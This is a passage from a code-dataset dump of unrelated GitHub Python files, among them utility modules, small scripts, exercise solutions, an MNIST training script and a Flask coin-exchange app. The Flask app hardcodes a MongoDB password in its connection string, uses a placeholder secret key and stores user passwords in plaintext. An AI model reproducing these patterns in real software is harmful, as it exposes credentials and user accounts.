config.get_inventory_database_user()\n pwd = config.get_inventory_database_password()\n try:\n return pymysql.connect(host=host, user=user, password=pwd, db=db_name, cursorclass=pymysql.cursors.DictCursor)\n except Exception:\n logger.error('MYSQL - failed to connect to DB ' + db_name + ' in HOST ' + host + ' with USER ' + user)\n raise\n","repo_name":"fkie-cad/iva","sub_path":"inventory/glpi_inventory.py","file_name":"glpi_inventory.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"5"} +{"seq_id":"10544333060","text":"# ,---------------------------------------------------------------------------,\n# | This module is part of the krangpower electrical distribution simulation |\n# | suit by Federico Rosato et al. |\n# | Please refer to the license file published together with this code. |\n# | All rights not explicitly granted by the license are reserved. |\n# '---------------------------------------------------------------------------'\n\nimport difflib\nimport io\nimport re\nimport textwrap\nfrom sys import modules\nfrom functools import lru_cache\nimport json\nimport hashlib\nimport canonicaljson\nimport numpy as np\nfrom dateutil.parser import parse as dateparse\n\n\ndef fingerprint_file(path):\n with open(path, 'r') as file:\n md = json.load(file)\n\n return hashlib.md5(canonicaljson.encode_canonical_json(md)).hexdigest()\n\n\ndef get_help_out(config, section):\n helpitems = config.items(section.upper().split('_')[0])\n help_str = ''\n basev = 90\n for item in helpitems:\n hstr = item[0].upper() + ': ' + item[1]\n help_str += '\\n'+'\\n\\t '.join(textwrap.wrap(hstr, basev))\n return help_str\n\n\ndef diff_dicts(original: dict, new: dict, context_lines=1):\n\n oj = io.StringIO()\n json.dump(original, oj, sort_keys=True, indent=2)\n original_json = oj.getvalue()\n\n nj = io.StringIO()\n json.dump(new, nj, sort_keys=True, indent=2)\n new_json = nj.getvalue()\n\n diff = difflib.context_diff(original_json.splitlines(1),\n new_json.splitlines(1),\n n=context_lines, fromfile='original', tofile='new')\n err = ''.join(diff)\n\n return err\n\n\ndef ebus(bus: str, nt: int):\n return bus + '_' + str(nt)\n\n\ndef pairs(iterable):\n itr = iter(iterable)\n while True:\n try:\n yield next(itr), next(itr)\n except StopIteration:\n raise\n\n\ndef lower(item):\n\n if hasattr(item, 'lower'):\n return item.lower()\n elif hasattr(item, '__iter__'):\n try:\n return [s.lower() for s in item]\n except AttributeError:\n raise AttributeError('Not all the items contained in the argument have a \"lower\" method')\n else:\n raise AttributeError('The argument does not have a \"lower\" method')\n\n\ndef pairwise(iterable):\n # \"s -> (s0, s1), (s2, s3), (s4, s5), ...\"\n a = iter(iterable)\n return zip(a, a)\n\n\ndef from_ragged(value):\n\n def desym(lol):\n size = len(lol)\n dsm = np.zeros([size, size])\n for r in range(size):\n for c in range(r+1):\n dsm[r, c] = lol[r][c]\n dsm[c, r] = lol[r][c]\n\n return dsm\n\n side = len(value)\n sside = max([len(x) for x in value])\n ty = type(value[0][0])\n try_mtx = np.empty((side, sside), dtype=ty)\n\n for x in range(side):\n try_mtx[x, 0:len(value[x])] = np.asarray(value[x])\n\n if len(value[0]) < sside:\n tril = np.tril(try_mtx, -1)\n try_mtx = try_mtx + tril.transpose()\n\n # try_mtx = np.asarray(value)\n if try_mtx.dtype == 'object':\n return desym(value)\n else:\n return try_mtx\n\n\ndef matrix_from_json(value):\n\n if isinstance(value[0], str):\n return value\n elif isinstance(value[0], (float, int)):\n return np.asarray(value)\n else:\n return from_ragged(value)\n\n\n@lru_cache(8)\ndef load_dictionary_json(path):\n this_module = modules[__name__]\n classmap = {}\n for item in dir(this_module):\n classmap[item.lower()] = getattr(this_module, item)\n\n with open(path, 'r') as file:\n dik = json.load(file)\n\n # json entity file contain jsonized objects. This means that all lists are np.matrix.tolist representation\n # and we have to convert them back.\n for entity in dik:\n for prop, value in dik[entity]['properties'].items():\n if isinstance(value, list):\n dik[entity]['properties'][prop] = matrix_from_json(value)\n\n return dik\n\n\ndef bus_resolve(bus_descriptor: str):\n \"\"\"\n >>> bus_resolve('bus2.3.1.2')\n ('bus2', (3, 1, 2))\n >>> bus_resolve('bus2.33.14.12323.2.3.3')\n ('bus2', (33, 14, 12323, 2, 3, 3))\n \"\"\"\n\n bus_descriptor.replace('bus.', '')\n tkns = bus_descriptor.split('.')\n\n bus = tkns[0]\n terminals = tuple(int(x) for x in tkns[1:])\n\n return bus, terminals\n\n\ndef is_timestamp(item):\n try:\n dateparse(item)\n except ValueError:\n return False\n return True\n\n\ndef termrep(terminals):\n \"\"\"\n This function takes a terminal collection (represented by a tuple of ints) and returns a representation that can be\n cat to a bus name in order to form a full bus-terminal qualification according to the odsswr syntax.\n\n >>> termrep(1,3,2)\n '.1.3.2'\n\n :param terminals: tuple of ints\n :type terminals: tuple\n :rtype: string\n \"\"\"\n if terminals is None:\n return ''\n else:\n s = '.'\n try:\n for t in terminals:\n s += str(t) + '.'\n return s[0:-1] # shaves final dot\n except TypeError:\n return '.' + str(terminals)\n\n\ndef is_numeric_data(item):\n return re.fullmatch('([0-9]|\\,|\\.| )*', item) is not None","repo_name":"supsi-dacd-isaac/krangpower","sub_path":"krangpower/_aux_fcn.py","file_name":"_aux_fcn.py","file_ext":"py","file_size_in_byte":5220,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"5"} +{"seq_id":"36274234356","text":"import requests\nprint(\"press Ctrl C at any time to escape\")\nprint()\n\nwhile True:\n\tname = input(\"enter a username: \")\n\n\turl = requests.get(\"http://snapchat.com/add/\" + name)\n\thtmltext = url.text\n\n\n\tif \"Add me on Snapchat!\" in htmltext:\n\t print(\"user found\")\n\telse:\n\t print(\"sorry user not found\")\n","repo_name":"electink/snapfinder","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"3878381342","text":"import msgpack\nimport random\nimport socket\nimport threading\nimport time\n\nrandom.seed(time.time())\n\ndef empty(*args):\n return\n\ndef empty2(*args):\n return {}\n\n# These don't support a close method. This isn't a problem, unless you plan to\n# delete RNQClients or RNQServers. The general use case seems to be to just\n# keep them open, so that isn't a problem for now.\n\nclass RNQClient(object):\n def __init__(self, port):\n self.socket = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)\n self.socket.bind(('', port))\n def repeatedly_poll_socket():\n while True:\n data, addr = self.socket.recvfrom(1024)\n unpacked = msgpack.unpackb(data)\n if addr[:2] == self.currAddr[:2] and unpacked[\"_id\"] == self.currID and self.pending:\n self.pending = False\n self.currSuccess(unpacked, addr)\n\n self.recvThread = threading.Thread(None, repeatedly_poll_socket)\n self.recvThread.daemon = True\n self.recvThread.start()\n\n self.currAddr = None\n self.pending = False\n self.ready = True\n self.pendingID = None\n\n self.currSuccess = empty\n\n self.queue = {}\n self.front = 1\n self.back = 1\n\n self.currID = int(random.getrandbits(16))\n\n def sendMessage(self, message, address, timesToTry=None, timeBetweenTries=None, eachTry=None, callback=None):\n callback = callback or empty\n eachTry = eachTry or empty\n self.queue[self.back] = {\n \"msg\": message,\n \"addr\": address,\n \"callback\": callback,\n \"tcallback\": eachTry,\n \"times\": timesToTry,\n \"period\": timeBetweenTries\n }\n self.back = self.back + 1\n \n self.processNextFromQueue()\n\n def processNextFromQueue(self):\n if self.ready and not self.pending:\n if self.front == self.back:\n return # nothing left to process in the queue\n \n # Dequeue request\n req = self.queue[self.front]\n del self.queue[self.front]\n self.front = self.front + 1\n\n self.currAddr = req[\"addr\"]\n message = req[\"msg\"]\n message[\"_id\"] = self.currID\n msg = msgpack.packb(message)\n\n self.currSuccess = req[\"callback\"]\n tryCallback = req[\"tcallback\"]\n\n self.pending = True\n self.ready = False\n\n timesToTry = req[\"times\"] or 1000\n timeBetween = req[\"period\"] or 0.050\n\n def send_until_ack():\n try:\n i = 0\n while self.pending and i < timesToTry:\n self.socket.sendto(msg, self.currAddr)\n tryCallback()\n time.sleep(timeBetween)\n i = i + 1\n if self.pending:\n time.sleep(0.500) # wait a bit in case one of the last tries was heard\n self.currSuccess = empty\n if self.pending:\n self.pending = False\n req[\"callback\"](None, None)\n finally:\n self.pending = False\n self.currID = int(random.getrandbits(16))\n self.ready = True\n self.processNextFromQueue()\n\n sendThread = threading.Thread(None, send_until_ack)\n sendThread.daemon = True\n sendThread.start()\n\n def cancelMessage(self):\n self.pending = False\n\n def empty(self):\n self.front = 1\n self.back = 1\n\nclass RNQServer(object):\n def __init__(self, port, responseGenerator=None):\n self.currIDs = {}\n responseGenerator = responseGenerator or empty2\n self.socket = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)\n self.socket.bind(('', port))\n def repeatedly_poll_socket():\n while True:\n payload, addr = self.socket.recvfrom(1024)\n message = msgpack.unpackb(payload)\n id = message[\"_id\"]\n if addr not in self.currIDs:\n self.currIDs[addr] = {}\n if self.currIDs[addr].get(\"id\", None) != id:\n response = responseGenerator(message, addr)\n response[\"_id\"] = id\n toReply = msgpack.packb(response)\n self.currIDs[addr][\"id\"] = id\n self.currIDs[addr][\"reply\"] = toReply\n else:\n toReply = self.currIDs[addr][\"reply\"]\n self.socket.sendto(toReply, addr)\n self.recvThread = threading.Thread(None, repeatedly_poll_socket)\n self.recvThread.daemon = True\n self.recvThread.start()\n","repo_name":"SoftwareDefinedBuildings/PECS-chair","sub_path":"app/PECS-chair/server/rnq.py","file_name":"rnq.py","file_ext":"py","file_size_in_byte":4844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"4585063174","text":"import sys\n\nstr = list(sys.stdin.readline().rstrip())\narr = []\ni = 0\ntmp = []\n\nwhile(i < len(str)):\n if(str[i] == '<'):\n tmp.append(i)\n if(str[i] == '>'):\n tmp.append(i)\n i+=1\nj=0\nvalue = \"\"\nwhile(1):\n if(j+3 < len(tmp)):\n print(''.join(str[tmp[j]: tmp[j+1]+1]) , end='')\n temp = str[tmp[j+1]+1 : tmp[j+2]]\n print(''.join(temp[::-1]),end='')\n j+=2\n else:\n print(''.join(str[::-1]),end='')\n break\n\n\n","repo_name":"JAEKWANG97/Backjoon","sub_path":"Class1&2/17413.py","file_name":"17413.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"5134697420","text":"\r\n#Jeeson Baktha\r\n#Iteration Stretch and challenge 1\r\n#22 October 2014\r\n\r\n\r\nnumber = int(input(\"Please enter an integer to display the squares to\\n\"))\r\n\r\nsquared_numbers=[]\r\nfor count in range (1,number+1):\r\n squared_number = count * count\r\n squared_numbers.append(squared_number)\r\n\r\nprint(squared_numbers)\r\n \r\n\r\n\r\n","repo_name":"JJBaktha/Iterations","sub_path":"Iteration Stretch and challenge 1.py","file_name":"Iteration Stretch and challenge 1.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"42285319020","text":"import os\nimport sys\nimport argparse\nfrom mp3_tagger import MP3File\nimport re\nimport shutil\n\n\"\"\"Move mp3 files to dst directory.\nDst directory should already exist, before program starts\"\"\"\n\nparser = argparse.ArgumentParser(usage=\"sorter.py [OPTIONS]\")\nparser.add_argument(\"-s\", \"--src-dir\", help=\"TEXT Source directory\", type=str, default=\"./\")\nparser.add_argument(\"-d\", \"--dst-dir\", help=\"TEXT Destination directory\", type=str, default=\"./\")\nargs = parser.parse_args()\n\ntry:\n directory_content = os.listdir(os.path.join(args.src_dir))\nexcept Exception:\n print(\"No such source directory\")\n sys.exit(0)\n\ntry:\n _ = os.listdir(args.dst_dir)\nexcept Exception:\n print(\"No such destination directory\")\n sys.exit(0)\n\ntag_template = \"[A-Za-zА-Яа-я\\ -_]+\"\nprohibited_symbols = '\\\\/*|<>?:\"'\nid3_file_tags = dict()\nfor file_name in directory_content:\n try:\n mp3 = MP3File(os.path.join(args.src_dir, file_name))\n except Exception as e:\n print(e)\n continue\n id3_file_tags[file_name] = dict()\n tags = mp3.get_tags()\n for version in tags.keys():\n for id in tags[version]:\n if (tags[version][id]):\n if (isinstance(tags[version][id], str)):\n if (re.match(tag_template, tags[version][id])):\n pole = tags[version][id].strip()\n for symbol in prohibited_symbols:\n pole = pole.replace(symbol, \"\")\n id3_file_tags[file_name][id] = pole\n elif (not isinstance(tags[version][id], type(None))):\n id3_file_tags[file_name][id] = tags[version][id]\n\n if (not (\"artist\" in id3_file_tags[file_name] and \"album\" in id3_file_tags[file_name])):\n del id3_file_tags[file_name]\n\nfor file_name in id3_file_tags.keys():\n try:\n os.mkdir(os.path.join(args.dst_dir, id3_file_tags[file_name][\"artist\"]))\n except Exception as e:\n pass\n\n try:\n os.mkdir(os.path.join(args.dst_dir, id3_file_tags[file_name][\"artist\"], id3_file_tags[file_name][\"album\"]))\n except Exception as e:\n pass\n\n name = id3_file_tags[file_name][\"song\"] + \".mp3\" if (\"song\" in id3_file_tags[file_name]) else file_name\n\n try:\n shutil.move(os.path.join(args.src_dir, file_name),\n os.path.join(args.dst_dir, id3_file_tags[file_name][\"artist\"],\n id3_file_tags[file_name][\"album\"], name))\n print(os.path.join(args.src_dir, file_name), \"\\t->\\t\",\n os.path.join(args.dst_dir, id3_file_tags[file_name][\"artist\"],\n id3_file_tags[file_name][\"album\"], name))\n except Exception as e:\n print(e)\nprint(\"Done\")","repo_name":"MrSkorpi/Task_3","sub_path":"sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":2729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"70035875032","text":"#importing libraries\n\nimport pandas as pd\nimport numpy as np\nimport os\n\n\nimport plotly.express as px\nimport plotly.graph_objects as go\n# import pandas as pd\n\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\nimport dash_table\nimport dash_bootstrap_components as dbc\n\n\n# from app import app\nfrom navbar import Navbar\n\n\n# app = dash.Dash(__name__)\n\n\n# server=app.server\ndf=pd.read_csv('new_data/merged_global_ranks.csv')\nranks_df=df.drop(['Region','Cluster','Unnamed: 0'], axis=1)\nranks_df.drop(ranks_df[ranks_df['Rank']>50]. index,axis=0, inplace=True)\ndef get_reco(row,col):\n # if col <2:\n # print(df.iat[row,2])\n song_cluster=df.iat[row,5]\n song_rank=df.iat[row,3]\n reco_song_1=df[df['Cluster']==song_cluster]['Track_Name']\n reco_song_1.drop(song_rank-1, inplace=True)\n # print(type(reco_song_df))\n # reco_song_df.drop(song_rank-1, inplace=True)\n # reco_song_df.drop('index', axis=1, inplace=True)\n # else:\n song_artist=df.iat[row,4]\n print(song_artist)\n song_rank=df.iat[row,3]\n reco_song_df=df[df['Artist']==song_artist]['Track_Name']\n reco_song_df.drop(song_rank-1, inplace=True)\n # print(type(reco_song_df))\n return (reco_song_1.head(),reco_song_df.head())\n\n\n\n\nnav = Navbar()\n\n\ntitle=dbc.Container([\n # dbc.Row\n # ([\n # dbc.Col(html.H3(children='Music Recommendations - Global'), className=\"mb-4 text-center\"),\n # ],\n # style={'padding-top':'30px'}\n # ),\n dbc.Row\n ([\n dbc.Col(html.H5(children='Top Ranked Songs - Global'), className=\"mb-4 text-center\"),\n dbc.Col(html.H5(children='Recommendations'), className=\"mb-4 text-center\")\n ],\n style={'padding-top':'30px'}\n ),\n])\n\ncard_song_info = dbc.Card(\n dbc.CardBody(\n [ \n html.H4(\"Song Info\", className=\"card-title text-center\"),\n dbc.Row\n ([\n dbc.Col(html.H6(children='Track Name:'), className=\"mb-4\", style = {'padding-top':\"10px\"}),\n dbc.Col(html.H6(id='track_name',className=\"mb-4\", style = {'padding-top':\"10px\"})),\n # ]),\n # dbc.Row\n # ([\n dbc.Col(html.H6(children='Artist:'), className=\"mb-4\", style = {'padding-top':\"10px\"}),\n dbc.Col(html.H6(id='artist',className=\"mb-4\", style = {'padding-top':\"10px\"}))\n ]),\n ],\n \n ),\n style={\"height\":\"200px\"}\n) \n\n# card_reco = dbc.CardDeck([\nsongs= dbc.Card(\n dbc.CardBody(\n [\n # dbc.CardHeader(\"Similar Songs\", className= \"text-center\",),\n html.H4(\"Similar Songs\", className=\"card-title text-center\"),\n dbc.Row\n ([\n dbc.Col(html.Div(id='similar_songs',className=\"mb-4 text-center\",style = {'padding-top':\"10px\"}))\n ]),\n ],\n style={\"height\":\"220px\", }, ),\n )\nartist = dbc.Card(\n dbc.CardBody(\n [\n # dbc.CardHeader(\"By The Same Artist\", className= \"text-center\"),\n html.H4(\"Same Artist\", className=\"card-title text-center\"),\n dbc.Row\n ([\n dbc.Col(html.Div(id='same_artist',className=\"mb-4 text-center\",style = {'padding-top':\"10px\"})),\n \n ], justify=\"around\"),\n ],\n style={\"height\":\"220px\"}),\n # style={\"width\": \"180px\", \"height\":\"180px\", \"justify\":\"around\"}, color=\"Warning\", outline=True\n ) \n# ]) \n\n \nbody=dbc.Container([\n dbc.Row\n ([\n dbc.Col\n (\n \n dash_table.DataTable\n (\n id='table',\n columns=[{\"name\": i, \"id\": i} for i in ranks_df.columns],\n data=ranks_df.to_dict('records'),style_cell=\n {\n 'height': 'auto',\n 'minWidth': '180px', 'width': '180px', 'maxWidth': '180px',\n 'whiteSpace': 'normal'\n },\n style_data=\n {\n 'width': '100px',\n 'maxWidth': '100px',\n 'minWidth': '100px',\n 'border': '1px solid black'\n },\n style_cell_conditional=\n [\n {'if': {'column_id': 'Artist'},\n 'textAlign': 'left'},\n # 'width': '45%'},\n {'if': {'column_id': 'Track_Name'},\n 'textAlign': 'left'}\n # 'width': '45%'}\n ],\n page_action='none',\n style_table={'height': '360px', 'overflowY': 'auto'},\n style_header={ 'border': '1px solid black' },\n ),\n\n className = \"table-bordered \"\n ),\n dbc.Col\n ([\n html.Div(html.H6(children='Click on your favourtie track or artist from the table on the left, and we\\'ll give you a recommendation!'), className=\"mb-4\", style = {'padding-left':'40px'}),\n dbc.Row([dbc.Col(songs, width=6), dbc.Col(artist, width=6)],style = {'padding-bottom':'15px'}),\n # dbc.Row([\n # dbc.Col(card_reco, align=\"center\",style = {'padding-bottom':'15px','padding-left':'100px'}),\n # ]),\n dbc.Row([dbc.Col(card_song_info, width=12)],style = {'padding-bottom':'15px', 'padding-left':'50px', })\n # html.Div(card_song_info,widthstyle = {'padding-left':'100px'})\n \n \n ], \n style= {\"margin-left\":\"20px\", \"margin-right\":\"20px\"})\n ],\n style= {\"margin-bottom\":\"30px\"})\n]) \n\ndef App():\n layout = html.Div([\n nav,\n title,\n body\n\n ])\n \n return layout\n\napp = dash.Dash(__name__, external_stylesheets = [dbc.themes.UNITED])\napp.layout = App()\n\n","repo_name":"ShukrithiRathna/SongRecommender","sub_path":"recommender.py","file_name":"recommender.py","file_ext":"py","file_size_in_byte":5872,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"35411483916","text":"import requests, bs4\n#res = requests.get('http://google.com')\nres = requests.get('https://forecast.weather.gov/MapClick.php?lat=40.75108419999998&lon=-73.88532059999994#.Wpo-luhuaM8')\n\nres.raise_for_status()\nsoup = bs4.BeautifulSoup(res.text,\"html5lib\")\nprint(type(soup))\n\n#print(len(noStarchSoup.select('input[type=\"text\"]')))\n#noStarchSoup.select('div')\n\n\nelemF = soup.select(\".myforecast-current-lrg\")\nelemC = soup.select(\".myforecast-current-sm\")\n\nprint('Current temperature is ' + elemF[0].getText() +' & ' +elemC[0].getText())\nprint(elemF[0].attrs)\n\n#print(soup.select('div > table'))\n#print(soup.select('#detailed-forecast'))\n\n'''\n
\n\t\t \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\t\t
Humidity65%
Wind SpeedNW 24 G 35 mph
Barometer29.78 in (1008.5 mb)
Dewpoint27°F (-3°C)
Visibility10.00 mi
Wind Chill27°F (-3°C)
Last update\n 3 Mar 12:51 am EST
\n\t\t
\n\n'''\n","repo_name":"udz/python","sub_path":"web scrapping/beautifulSoup.py","file_name":"beautifulSoup.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"33783676243","text":"class Solution:\n def allPathsSourceTarget(self, graph: List[List[int]]) -> List[List[int]]:\n target = len(graph)-1\n ret = []\n prev = []\n def dfs(node):\n if node == target:\n ret.append([*prev, node])\n else:\n prev.append(node)\n for to in graph[node]:\n dfs(to)\n prev.pop()\n dfs(0)\n return ret\n ","repo_name":"mdakram28/leetcode-archive","sub_path":"my-folder/problems/all_paths_from_source_to_target/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"1172362296","text":"import tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nmnist = input_data.read_data_sets('D:\\MNIST_data', one_hot=True)\n\nn_hidden_1 = 256\nn_hidden_2 = 128\nn_hidden_3 = 128\nn_input = 784\nn_classes = 10\n\n# INPUT AND OUTPUT\nx = tf.placeholder(tf.float32, [None, n_input])\ny = tf.placeholder(tf.float32, [None, n_classes])\n\n# NETWORK PARAMETERS\nstddev = 0.1\nweights = {\n \"w1\": tf.Variable(tf.random_normal([n_input, n_hidden_1], stddev=stddev)),\n \"w2\": tf.Variable(tf.random_normal([n_hidden_1, n_hidden_2], stddev=stddev)),\n \"w3\": tf.Variable(tf.random_normal([n_hidden_2, n_hidden_3], stddev=stddev)),\n \"out\": tf.Variable(tf.random_normal([n_hidden_3, n_classes], stddev=stddev))\n}\nbiases = {\n \"b1\": tf.Variable(tf.zeros([n_hidden_1], tf.float32)),\n \"b2\": tf.Variable(tf.zeros([n_hidden_2], tf.float32)),\n \"b3\": tf.Variable(tf.zeros([n_hidden_3], tf.float32)),\n \"out\": tf.Variable(tf.zeros([n_classes], tf.float32))\n}\n\n\ndef network(inputs, weights, biases):\n layer_1 = tf.nn.sigmoid(tf.add(tf.matmul(inputs, weights['w1']), biases['b1']))\n layer_2 = tf.nn.sigmoid(tf.add(tf.matmul(layer_1, weights['w2']), biases['b2']))\n layer_3 = tf.nn.sigmoid(tf.add(tf.matmul(layer_2, weights['w3']), biases['b3']))\n pre = tf.matmul(layer_3, weights['out']) + biases['out']\n return pre\n\n\npred = network(x, weights, biases)\n\ncost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y, logits=pred))\ntrain = tf.train.GradientDescentOptimizer(0.001).minimize(cost)\nacc = tf.equal(tf.argmax(pred, 1), tf.argmax(y, 1))\naccuracy = tf.reduce_mean(tf.cast(acc, tf.float32))\n\ninit = tf.global_variables_initializer()\n\ntrain_step = 500\nbatch_size = 100\ndisplay_step = 10\n\nwith tf.Session() as sess:\n sess.run(init)\n for k in range(train_step):\n loss = 0\n num_batch = int(mnist.train.num_examples / batch_size)\n for L in range(num_batch):\n batch_xs, batch_ys = mnist.train.next_batch(100)\n sess.run(train, feed_dict={x: batch_xs, y: batch_ys})\n _loss = sess.run(cost, feed_dict={x: batch_xs, y: batch_ys})\n loss += _loss\n if k % display_step == 0:\n _accuracy = sess.run(accuracy, feed_dict={x: mnist.test.images, y: mnist.test.labels})\n print('loss:%2f' % loss, ' accuracy:%2f' % _accuracy)\n","repo_name":"sskingss/machineLearning","sub_path":"3/load_mnist.py","file_name":"load_mnist.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20932790253","text":"'''\nConvert a non-negative integer to its english words representation.\nGiven input is guaranteed to be less than 2^31 - 1.\n'''\n\nclass Solution:\n def getTwoWord(self, num, words):\n output = ''\n if len(num) == 1:\n return words[1][int(num[0])]\n if int(num) <= 20:\n output += words[int(num)]\n else:\n count = 0\n x, y = 2, 1\n output += words[x][int(num[count])]\n count += 1\n if not int(num[count]) == 0:\n output += words[y][int(num[count])]\n return output\n\n def getThreeWord(self, num, words):\n output = ''\n x, y, z = 3, 2, 1\n count = 0\n if not int(num[count]) == 0:\n output += words[z][int(num[count])] + words[x][0]\n count += 1\n\n if int(num[count]) == 1:\n output += self.getTwoWord(num[1:], words)\n return output\n elif not int(num[count]) == 0:\n output += words[y][int(num[count])]\n count += 1\n\n if not int(num[count]) == 0:\n output += words[z][int(num[count])]\n return output\n\n def numberToWords(self, num: int) -> str:\n stack = [' Billion', ' Million', ' Thousand', '']\n words = {\n 1:[' Zero', ' One', ' Two', ' Three', ' Four',\n ' Five', ' Six', ' Seven', ' Eight', ' Nine'],\n 2:[' *', ' *', ' Twenty', ' Thirty', ' Forty',\n ' Fifty', ' Sixty', ' Seventy', ' Eighty', ' Ninety'],\n 3:[' Hundred'], 10: ' Ten', 11:' Eleven', 12:' Twelve',\n 13:' Thirteen', 14: ' Fourteen',15:' Fifteen', 16:' Sixteen',\n 17:' Seventeen', 18:' Eighteen', 19:' Nineteen', 20:' Twenty'\n }\n\n nums = str(num)\n res = ''\n remaining = ''\n\n for i in range(len(nums), -1, -3):\n temp = nums[i-3:i]\n if len(temp) == 3:\n if int(temp) == 0:\n stack.pop()\n else:\n res = self.getThreeWord(nums[i-3:i], words) + stack.pop() + res\n else:\n remaining = nums[:i]\n if remaining:\n res = self.getTwoWord(remaining, words) +stack.pop() + res\n return res.strip()\n\nnum = 1790001\ns = Solution()\nprint(s.numberToWords(num))\n","repo_name":"acharles7/problem-solving","sub_path":"miscellaneous/integerToString.py","file_name":"integerToString.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"5"} +{"seq_id":"43405198301","text":"from flask import Flask, render_template, request, session, redirect, url_for, flash, jsonify\nfrom datetime import datetime\nfrom pymongo import MongoClient\n\n\napp = Flask(__name__)\napp.secret_key = 'secret key'\n\n# MongoDB 클라이언트 생성\nclient = MongoClient('mongodb+srv://ys990728:ys3863228@cluster0.g6hx7ds.mongodb.net/?retryWrites=true&w=majority')\ndb = client['coin_exchange'] # MongoDB 데이터베이스 선택\nusers_collection = db['users'] # 사용자 컬렉션 선택\nmarket_collection = db['market'] # 마켓 컬렉션 선택\nboard_collection = db['board'] # 게시판 컬렉션 선택\ncoin_recent_price_collection = db['coin_recent_price'] # 가격 정보 컬렉션 선택\n\n# 데이터베이스에 마켓 정보가 없는 경우에만 초기 마켓 정보 추가\nif market_collection.count_documents({}) == 0:\n initial_coin = {'market_coin': 100, 'coinprice': 100}\n market_collection.insert_one(initial_coin)\n\n\n@app.route('/', methods=['GET', 'POST']) # 로그인\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n coin_prices = coin_recent_price_collection.find({}, {'_id': 0, 'timestamp': 1, 'coin_price': 1}).sort('timestamp', 1)\n data = [['Timestamp', 'Price']]\n for price in coin_prices:\n data.append([price['timestamp'].isoformat(), price['coin_price']])\n\n if request.method == 'POST':\n username = request.form['username']\n password = request.form['password']\n user = users_collection.find_one({'username': username, 'password': password})\n\n if user:\n session['username'] = username\n flash(\"로그인에 성공했습니다!\")\n return render_template('login.html', username =username, coin_prices=data, login=True)\n else:\n flash(\"존재하지 않는 회원입니다!\")\n return render_template('login.html', coin_prices=data, register=True)\n else:\n if 'username' in session:\n username = session['username']\n return render_template('login.html', username = username ,coin_prices=data, login=True)\n else:\n return render_template('login.html', coin_prices=data, register=True)\n\n\n@app.route('/register', methods=['GET', 'POST']) #회원가입\ndef register():\n if request.method == 'POST':\n username = request.form['username']\n password = request.form['password']\n user = users_collection.find_one({'username': username})\n if user:\n flash(\"이미 존재하는 회원입니다!\")\n return render_template('register.html', register=True)\n else:\n balance = 0\n coin = 0\n selling_coin = 0\n users_collection.insert_one({\n 'username': username,\n 'password': password,\n 'balance': balance,\n 'coin': coin,\n 'selling_coin': selling_coin\n })\n flash(\"회원 가입에 성공했습니다!\")\n return redirect(url_for('login'))\n else:\n return render_template('register.html', register=True)\n\n@app.route('/logout',methods=['POST']) #로그아웃\ndef logout():\n session.pop('username', None)\n flash(\"로그아웃되었습니다!\")\n return redirect(url_for('login'))\n\n\n@app.route('/account') #계정\ndef account():\n if 'username' in session:\n user = users_collection.find_one({'username': session['username']})\n username =user.get('username')\n balance = int(user.get('balance', 0))\n coin = int(user.get('coin', 0))\n selling_coin = int(user.get('selling_coin', 0))\n \n \n market_coin = int(market_collection.find_one()['market_coin'])\n return render_template('account.html',username=username,balance=balance, coin=coin,selling_coin=selling_coin,market_coin=market_coin)\n else:\n return redirect(url_for('login'))\n\n\n@app.route('/delete-account', methods=['POST']) #계정탈퇴\ndef delete_account():\n if 'username' in session:\n users_collection.delete_one({'username': session['username']})\n session.pop('username', None)\n flash(\"회원 탈퇴 완료\")\n return redirect(url_for('login'))\n\n@app.route('/deposit', methods=['POST']) # 입금\ndef deposit():\n if 'username' in session:\n user = users_collection.find_one({'username': session['username']})\n balance = user.get('balance', 0)\n\n # 사용자가 입력한 입금할 금액\n deposit_amount = request.form['deposit_amount']\n if not deposit_amount.isdigit():\n flash(\"입금할 금액은 숫자로 입력해주세요.\")\n return redirect(url_for('account'))\n\n deposit_amount = int(deposit_amount)\n updated_balance = balance + deposit_amount\n\n users_collection.update_one({'username': session['username']}, {'$set': {'balance': updated_balance}})\n flash(\"입금이 완료되었습니다!\")\n return redirect(url_for('account'))\n\n\n@app.route('/withdraw', methods=['POST']) # 출금\ndef withdraw():\n if 'username' in session:\n user = users_collection.find_one({'username': session['username']})\n balance = user.get('balance', 0)\n\n # 사용자가 입력한 출금할 금액\n withdraw_amount = request.form['withdraw_amount']\n if not withdraw_amount.isdigit():\n flash(\"출금할 금액은 숫자로 입력해주세요.\")\n return redirect(url_for('account'))\n withdraw_amount = 